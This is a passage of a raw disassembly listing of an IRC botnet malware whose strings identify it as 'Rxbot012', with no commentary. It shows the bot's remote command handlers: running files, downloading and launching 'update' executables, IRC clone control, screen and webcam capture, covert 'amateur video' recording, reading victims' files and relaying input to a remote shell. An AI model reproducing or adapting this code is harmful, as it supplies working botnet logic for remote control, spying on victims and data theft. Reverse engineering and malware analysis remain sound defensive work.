		lea	eax, [ebp+var_143C]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1440],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_11B0],	eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_11AC],	eax
		lea	eax, [ebp+var_12B8]
		push	eax
		lea	eax, [ebp+var_13BC]
		push	eax
		push	offset aFindfileSear_0 ; "[FINDFILE]: Searching	for file: %s in: "...
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Ch
		push	eax
		call	sub_4136B6
		add	esp, 2Ch
		mov	[ebp+var_11B4],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1440]
		push	eax
		push	offset sub_4036F0
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_11B4]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C9F4
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aFindfileFailed ; "[FINDFILE]: Failed to	start search thre"...


loc_40C9D8:				; CODE XREF: sub_409806+4769j
					; sub_409806+54EDj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40EE11
; ---------------------------------------------------------------------------


loc_40C9EC:				; CODE XREF: sub_409806+31F4j
		push	32h
		call	dword_422000	; Sleep


loc_40C9F4:				; CODE XREF: sub_409806+31C4j
		cmp	[ebp+var_11A8],	esi
		jz	short loc_40C9EC
		jmp	loc_40EE11
; ---------------------------------------------------------------------------


loc_40CA01:				; CODE XREF: sub_409806+24B0j
					; sub_409806+24C4j
		push	11h
		pop	ecx
		push	[ebp+var_8]
		xor	eax, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_334]
		rep stosd
		inc	ebx
		xor	esi, esi
		mov	[ebp+var_334], 44h
		mov	[ebp+var_308], ebx
		mov	word ptr [ebp+var_304],	si
		call	sub_416C92
		cmp	eax, ebx
		pop	ecx
		jnz	short loc_40CA40
		mov	word ptr [ebp+var_304],	5


loc_40CA40:				; CODE XREF: sub_409806+322Fj
		cmp	[ebp+var_14], esi
		jz	loc_40D834
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4173D0
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jz	loc_40D834
		lea	eax, [ebp+var_73C]
		push	eax
		lea	eax, [ebp+var_334]
		push	eax
		push	esi
		push	esi
		push	30h
		push	ebx
		push	esi
		push	esi
		push	edi
		push	esi
		call	dword_422044	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40CA99
		push	offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	loc_40D834
; ---------------------------------------------------------------------------


loc_40CA99:				; CODE XREF: sub_409806+327Fj
		push	edi
		push	offset aExecCommandsS ;	"[EXEC]: Commands: %s"
		jmp	loc_40D82B
; ---------------------------------------------------------------------------


loc_40CAA4:				; CODE XREF: sub_409806+2488j
					; sub_409806+249Cj
		mov	edi, [ebp+var_10]
		mov	esi, offset aRxbot012 ;	"Rxbot012"


loc_40CAAC:				; CODE XREF: sub_409806+32C2j
		mov	cl, [esi]
		mov	al, cl
		cmp	cl, [edi]
		jnz	short loc_40CACE
		test	al, al
		jz	short loc_40CACA
		mov	cl, [esi+1]
		mov	al, cl
		cmp	cl, [edi+1]
		jnz	short loc_40CACE
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40CAAC


loc_40CACA:				; CODE XREF: sub_409806+32B0j
		xor	eax, eax
		jmp	short loc_40CAD3
; ---------------------------------------------------------------------------


loc_40CACE:				; CODE XREF: sub_409806+32ACj
					; sub_409806+32BAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40CAD3:				; CODE XREF: sub_409806+32C6j
		test	eax, eax
		mov	edi, [ebp+arg_4]
		jz	loc_40CC46
		lea	eax, [ebp+var_84C]
		push	eax
		push	104h
		call	dword_4220D0	; GetTempPathA
		push	0FFh
		push	[ebp+var_8]
		lea	eax, [ebp+var_E00]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+var_748]
		push	eax
		call	sub_410DDA
		push	eax
		lea	eax, [ebp+var_84C]
		push	eax
		lea	eax, [ebp+var_D00]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_416905
		mov	eax, [ebp+ebx+var_98]
		xor	esi, esi
		add	esp, 20h
		cmp	eax, esi
		mov	[ebp+var_AFC], 1
		mov	[ebp+var_AF8], esi
		jz	short loc_40CB5D
		push	10h
		push	esi
		push	eax
		call	sub_417729
		add	esp, 0Ch
		mov	[ebp+var_AF0], eax
		jmp	short loc_40CB63
; ---------------------------------------------------------------------------


loc_40CB5D:				; CODE XREF: sub_409806+3341j
		mov	[ebp+var_AF0], esi


loc_40CB63:				; CODE XREF: sub_409806+3355j
		mov	ebx, [ebp+ebx+var_94]
		cmp	ebx, esi
		jz	short loc_40CB7D
		push	ebx
		call	sub_416C92
		pop	ecx
		mov	[ebp+var_AF4], eax
		jmp	short loc_40CB83
; ---------------------------------------------------------------------------


loc_40CB7D:				; CODE XREF: sub_409806+3366j
		mov	[ebp+var_AF4], esi


loc_40CB83:				; CODE XREF: sub_409806+3375j
		movzx	eax, [ebp+var_38B]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_AEC], eax
		lea	eax, [ebp+var_E80]
		push	eax
		mov	[ebp+var_E84], edi
		call	sub_4169C0
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		mov	[ebp+var_AE4], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_AE8], eax
		lea	eax, [ebp+var_2F0]
		push	offset aUpdateDownload ; "[UPDATE]: Downloading	update from: %s."
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_2F0]
		push	17h
		push	eax
		call	sub_4136B6
		add	esp, 24h
		mov	[ebp+var_B00], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_E84]
		push	eax
		push	offset sub_402C2F
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_B00]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40CC3C
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_40CC48
; ---------------------------------------------------------------------------


loc_40CC34:				; CODE XREF: sub_409806+343Cj
		push	32h
		call	dword_422000	; Sleep


loc_40CC3C:				; CODE XREF: sub_409806+340Fj
		cmp	[ebp+var_AE0], esi
		jz	short loc_40CC34
		jmp	short loc_40CC48
; ---------------------------------------------------------------------------


loc_40CC46:				; CODE XREF: sub_409806+32D2j
		xor	esi, esi


loc_40CC48:				; CODE XREF: sub_409806+342Cj
					; sub_409806+343Ej
		cmp	[ebp+var_C], esi
		jnz	loc_40AEF2
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_40AEEA
; ---------------------------------------------------------------------------


loc_40CC68:				; CODE XREF: sub_409806+2460j
					; sub_409806+2474j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_42A8E8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_409A84
		cmp	[ebp+var_14], eax
		jz	loc_409A84
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4173D0
		push	eax
		push	[ebp+var_9C]
		lea	eax, [ebp+var_2F0]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_416905
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4169C0
		push	[ebp+var_8]
		call	sub_416C92
		add	esp, 30h
		test	eax, eax
		jle	short loc_40CCF1
		push	[ebp+var_8]
		call	sub_416C92
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_422000	; Sleep


loc_40CCF1:				; CODE XREF: sub_409806+34D3j
		push	offset aMainDelay_ ; "[MAIN]: Delay."
		call	sub_401ECD
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40CD05:				; CODE XREF: sub_409806+2438j
					; sub_409806+244Cj
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_42A8E8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_409A84
		cmp	[ebp+var_14], eax
		jz	loc_40F8C3
		mov	esi, [ebp+var_10]
		push	esi
		push	[ebp+var_14]
		call	sub_4173D0
		pop	ecx
		pop	ecx
		mov	ebx, eax
		push	7
		inc	esi
		pop	ecx
		xor	eax, eax
		mov	edi, offset aRepeat ; "repeat"
		repe cmpsb
		lea	eax, [ebp+var_2F0]
		push	ebx
		jz	short loc_40CDBF
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_416905
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4169C0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	offset aMainRepeatS ; "[MAIN]: Repeat: %s"
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		push	[ebp+var_8]
		call	sub_416C92
		add	esp, 38h
		test	eax, eax
		jle	loc_40F8C3
		push	[ebp+var_8]
		call	sub_416C92
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40CDBF:				; CODE XREF: sub_409806+3544j
		push	offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in	command	l"...
		jmp	loc_40D4BA
; ---------------------------------------------------------------------------


loc_40CDC9:				; CODE XREF: sub_409806+2410j
					; sub_409806+2424j
		push	[ebp+var_10]
		lea	eax, [ebp+var_2F0]
		push	offset aPartS_0	; "PART	%s"
		push	eax
		call	sub_416905
		push	[ebp+var_8]
		call	sub_416C92
		add	esp, 10h


loc_40CDE8:				; CODE XREF: sub_409806+364Fj
		test	eax, eax
		jle	loc_40F8C3
		push	[ebp+var_8]
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3


loc_40CE04:				; CODE XREF: sub_409806+4196j
		lea	eax, [ebp+var_2F0]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	[ebp+var_8]
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405CD5
		jmp	loc_40EA9D
; ---------------------------------------------------------------------------


loc_40CE2F:				; CODE XREF: sub_409806+23E8j
					; sub_409806+23FCj
		push	[ebp+ebx+var_98]
		lea	eax, [ebp+var_2F0]
		push	[ebp+var_10]
		push	offset aJoinSS	; "JOIN	%s %s"
		push	eax
		call	sub_416905
		push	[ebp+var_8]
		call	sub_416C92
		add	esp, 14h
		jmp	short loc_40CDE8
; ---------------------------------------------------------------------------


loc_40CE57:				; CODE XREF: sub_409806+23C0j
					; sub_409806+23D4j
		push	[ebp+var_10]
		lea	eax, [ebp+var_2F0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_416905
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_416C92
		add	esp, 10h
		test	eax, eax
		jle	loc_40F8C3
		push	esi
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3
		lea	eax, [ebp+var_2F0]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	esi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405CD5
		push	[ebp+var_10]
		push	esi
		push	offset aCloneNickSS ; "[CLONE]:	Nick (%s): %s"


loc_40CEBE:				; CODE XREF: sub_409806+3743j
					; sub_409806+37B2j ...
		call	sub_401F41
		jmp	loc_40E76E
; ---------------------------------------------------------------------------


loc_40CEC8:				; CODE XREF: sub_409806+2398j
					; sub_409806+23ACj
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_40CEFA
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset aModeS	; "MODE	%s"
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40CEFA:				; CODE XREF: sub_409806+36DDj
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	loc_40F8C3
		push	edi
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3
		lea	eax, [ebp+var_2F0]
		push	eax
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405CD5
		push	esi
		push	edi
		push	offset aCloneModeSS ; "[CLONE]:	Mode (%s): %s"
		jmp	loc_40CEBE
; ---------------------------------------------------------------------------


loc_40CF4E:				; CODE XREF: sub_409806+2370j
					; sub_409806+2384j
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	loc_40F8C3
		push	edi
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3
		push	esi
		push	offset aS_5	; "%s\r\n"
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405CD5
		push	esi
		push	edi
		push	offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
		jmp	loc_40CEBE
; ---------------------------------------------------------------------------


loc_40CFBD:				; CODE XREF: sub_409806+2348j
					; sub_409806+235Cj
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		push	esi
		push	offset aModeS_0	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	esi
		push	offset aMainModeChange ; "[MAIN]: Mode change: %s"
		jmp	loc_40DB96
; ---------------------------------------------------------------------------


loc_40CFF7:				; CODE XREF: sub_409806+2320j
					; sub_409806+2334j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_42A8E8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_409A84
		push	[ebp+var_10]
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	[ebp+var_8]
		call	sub_416C92
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_422000	; Sleep
		push	[ebp+ebx+var_98]
		push	[ebp+var_10]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	offset aMainCycle_ ; "[MAIN]: Cycle."
		call	sub_401ECD
		jmp	loc_40DB9B
; ---------------------------------------------------------------------------


loc_40D05D:				; CODE XREF: sub_409806+22F8j
					; sub_409806+230Cj
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		lea	edx, [eax+1]


loc_40D06A:				; CODE XREF: sub_409806+3869j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40D06A
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		lea	esi, [eax+1]


loc_40D07B:				; CODE XREF: sub_409806+387Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40D07B
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset dword_429D54
		push	eax
		call	sub_416905
		push	0
		push	0
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_405D20
		push	esi
		push	[ebp+var_8]
		push	offset aMainActionSS_ ;	"[MAIN]: Action: %s: %s."
		call	sub_401F41
		add	esp, 2Ch
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40D0E0:				; CODE XREF: sub_409806+22D0j
					; sub_409806+22E4j
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		lea	edx, [eax+1]


loc_40D0ED:				; CODE XREF: sub_409806+38ECj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40D0ED
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		lea	esi, [eax+1]


loc_40D0FE:				; CODE XREF: sub_409806+38FDj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40D0FE
		push	[ebp+var_10]
		sub	eax, esi
		add	eax, ecx
		mov	ecx, [ebp+var_14]
		lea	eax, [eax+ecx+2]
		push	eax
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		push	0
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_405D20
		push	esi
		push	[ebp+var_8]
		push	offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
		call	sub_401F41


loc_40D143:				; CODE XREF: sub_409806+5CBFj
		add	esp, 20h
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40D14B:				; CODE XREF: sub_409806+22A8j
					; sub_409806+22BCj
		cmp	[ebp+var_14], 0
		jz	loc_409A84
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409A84
		push	eax
		push	[ebp+var_8]
		call	sub_401DBD
		push	[ebp+var_8]
		lea	eax, [ebp+var_2F0]
		push	offset aMainAliasAdded ; "[MAIN]: Alias	added: %s."
		push	eax
		call	sub_416905
		add	esp, 14h


loc_40D18A:				; CODE XREF: sub_409806+4281j
					; sub_409806+56ABj
		cmp	[ebp+var_C], 0
		jnz	short loc_40D1AD
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40D1AD:				; CODE XREF: sub_409806+3988j
					; sub_409806+4E72j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		jmp	loc_40FA82
; ---------------------------------------------------------------------------


loc_40D1BE:				; CODE XREF: sub_409806+2162j
					; sub_409806+2176j
		push	[ebp+var_8]
		push	[ebp+arg_1C]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		mov	ebx, [ebp+ebx+var_9C]
		test	ebx, ebx
		jz	short loc_40D259
		push	ebx
		push	[ebp+var_14]
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jz	short loc_40D247
		push	esi
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	[ebp+var_A4]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_416905
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+arg_0]
		call	sub_4169C0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_2F0]
		push	offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command:	%s"
		push	eax
		call	sub_416905
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40D630
; ---------------------------------------------------------------------------


loc_40D247:				; CODE XREF: sub_409806+39EDj
		push	offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	loc_40D630
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_409806+39D6j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_412D55
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		push	[ebp+var_8]
		lea	eax, [ebp+var_2F0]
		push	offset aMainGethostS_ ;	"[MAIN]: Gethost: %s."
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 24h
		jmp	loc_40D630
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_409806+213Aj
					; sub_409806+214Ej
		mov	esi, [ebp+var_8]
		push	7
		mov	edi, offset aScreen ; "screen"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40D2FC
		mov	esi, [ebp+ebx+var_9C]
		test	esi, esi
		jz	short loc_40D2E9
		push	esi
		call	sub_402183
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D2E2
		push	esi
		push	offset aCaptureScreenC ; "[CAPTURE]: Screen capture saved to: %s."...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_40D2FC
; ---------------------------------------------------------------------------


loc_40D2E2:				; CODE XREF: sub_409806+3AC9j
		push	offset aCaptureErrorWh ; "[CAPTURE]: Error while capturing screen"...
		jmp	short loc_40D2F4
; ---------------------------------------------------------------------------


loc_40D2E9:				; CODE XREF: sub_409806+3AB7j
		push	offset aCaptureNoFilen ; "[CAPTURE]: No	filename specified for sc"...
		lea	eax, [ebp+var_2F0]


loc_40D2F4:				; CODE XREF: sub_409806+3AE1j
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40D2FC:				; CODE XREF: sub_409806+3AACj
					; sub_409806+3ADAj
		mov	esi, [ebp+var_8]
		push	8
		mov	edi, offset aDrivers ; "drivers"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40D389
		xor	edi, edi
		mov	esi, 0FFh


loc_40D314:				; CODE XREF: sub_409806+3B6Ej
		push	1FFh
		lea	eax, [ebp+var_ADC]
		push	eax
		push	esi
		lea	eax, [ebp+var_1548]
		push	eax
		push	edi
		call	dword_43A434
		test	eax, eax
		jz	short loc_40D370
		lea	eax, [ebp+var_ADC]
		push	eax
		lea	eax, [ebp+var_1548]
		push	eax
		push	edi
		lea	eax, [ebp+var_EDC]
		push	offset aCaptureDriverD ; "[CAPTURE]: Driver #%d	- %s - %s."
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_EDC]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 28h


loc_40D370:				; CODE XREF: sub_409806+3B2Bj
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_40D314
		lea	eax, [ebp+var_2F0]
		push	offset aCaptureDriverL ; "[CAPTURE]: Driver list complete."
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40D389:				; CODE XREF: sub_409806+3B05j
		mov	esi, [ebp+var_8]
		push	6
		mov	edi, offset aFrame ; "frame"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40D425
		cmp	[ebp+ebx+var_9C], eax
		jz	short loc_40D412
		mov	edi, [ebp+ebx+var_98]
		test	edi, edi
		jz	short loc_40D412
		mov	esi, [ebp+ebx+var_94]
		test	esi, esi
		jz	short loc_40D412
		mov	eax, [ebp+ebx+var_90]
		test	eax, eax
		jz	short loc_40D412
		push	eax
		call	sub_416C92
		pop	ecx
		push	eax
		push	esi
		call	sub_416C92
		pop	ecx
		push	eax
		push	edi
		call	sub_416C92
		mov	esi, [ebp+ebx+var_9C]
		pop	ecx
		push	eax
		push	esi
		call	sub_4023C0
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D40B
		push	esi
		push	offset aCaptureWebcamC ; "[CAPTURE]: Webcam capture saved to: %s."...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_40D425
; ---------------------------------------------------------------------------


loc_40D40B:				; CODE XREF: sub_409806+3BF2j
		push	offset aCaptureError_0 ; "[CAPTURE]: Error while capturing from	w"...
		jmp	short loc_40D41D
; ---------------------------------------------------------------------------


loc_40D412:				; CODE XREF: sub_409806+3B9Fj
					; sub_409806+3BAAj ...
		push	offset aCaptureInvalid ; "[CAPTURE]: Invalid parameters	for webca"...
		lea	eax, [ebp+var_2F0]


loc_40D41D:				; CODE XREF: sub_409806+3C0Aj
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40D425:				; CODE XREF: sub_409806+3B92j
					; sub_409806+3C03j
		mov	esi, [ebp+var_8]
		push	6
		mov	edi, offset aVideo ; "video"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40D60D
		mov	eax, [ebp+ebx+var_9C]
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	loc_40D4D2
		mov	eax, [ebp+ebx+var_98]
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	short loc_40D4D2
		mov	edi, [ebp+ebx+var_94]
		test	edi, edi
		jz	short loc_40D4D2
		mov	esi, [ebp+ebx+var_90]
		test	esi, esi
		jz	short loc_40D4D2
		mov	ebx, [ebp+ebx+var_8C]
		test	ebx, ebx
		jz	short loc_40D4D2
		push	ebx
		call	sub_416C92
		pop	ecx
		push	eax
		push	esi
		call	sub_416C92
		pop	ecx
		push	eax
		push	edi
		call	sub_416C92
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_416C92
		pop	ecx
		push	eax
		push	[ebp+var_10]
		call	sub_4025BC
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D4C8
		push	[ebp+var_10]
		push	offset aCaptureAmateur ; "[CAPTURE]: Amateur video saved to: %s."


loc_40D4BA:				; CODE XREF: sub_409806+35BEj
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40D60D
; ---------------------------------------------------------------------------


loc_40D4C8:				; CODE XREF: sub_409806+3CAAj
		push	offset aCaptureError_1 ; "[CAPTURE]: Error while capturing amateu"...
		jmp	loc_40D605
; ---------------------------------------------------------------------------


loc_40D4D2:				; CODE XREF: sub_409806+3C40j
					; sub_409806+3C52j ...
		push	offset aCaptureInval_0 ; "[CAPTURE]: Invalid parameters	for amate"...
		lea	eax, [ebp+var_2F0]
		jmp	loc_40D605
; ---------------------------------------------------------------------------


loc_40D4E2:				; CODE XREF: sub_409806+1B83j
					; sub_409806+1B97j
		push	offset aR	; "r"
		push	[ebp+var_8]
		call	sub_41719C
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_40D560
		push	edi
		mov	esi, 200h
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		call	sub_418177
		add	esp, 0Ch
		jmp	short loc_40D53A
; ---------------------------------------------------------------------------


loc_40D50F:				; CODE XREF: sub_409806+3D36j
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		push	edi
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		call	sub_418177
		add	esp, 20h


loc_40D53A:				; CODE XREF: sub_409806+3D07j
		test	eax, eax
		jnz	short loc_40D50F
		push	edi
		call	sub_416E0D
		push	[ebp+var_8]
		lea	eax, [ebp+var_2F0]
		push	offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
		push	eax
		call	sub_416905
		add	esp, 10h
		jmp	loc_40AEF2
; ---------------------------------------------------------------------------


loc_40D560:				; CODE XREF: sub_409806+3CEFj
		push	[ebp+var_8]
		push	offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"
		jmp	loc_40ED17
; ---------------------------------------------------------------------------


loc_40D56D:				; CODE XREF: sub_409806+1B5Bj
					; sub_409806+1B6Fj
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_4173D0
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		mov	edi, ebx
		dec	edi


loc_40D591:				; CODE XREF: sub_409806+3D91j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_40D591
		mov	esi, offset asc_4236F8 ; "\n"
		push	ebx
		movsw
		call	sub_410454
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2F0]
		jnz	short loc_40D5B8
		push	offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5B8:				; CODE XREF: sub_409806+3DA9j
		push	ebx
		push	offset aCmdCommandsS ; "[CMD]: Commands: %s"
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_40D630
; ---------------------------------------------------------------------------


loc_40D5C9:				; CODE XREF: sub_409806+1B33j
					; sub_409806+1B47j
		cmp	[ebp+var_14], 0
		jz	loc_40F8C3
		push	[ebp+var_8]
		push	[ebp+var_14]
		call	sub_4173D0
		test	eax, eax
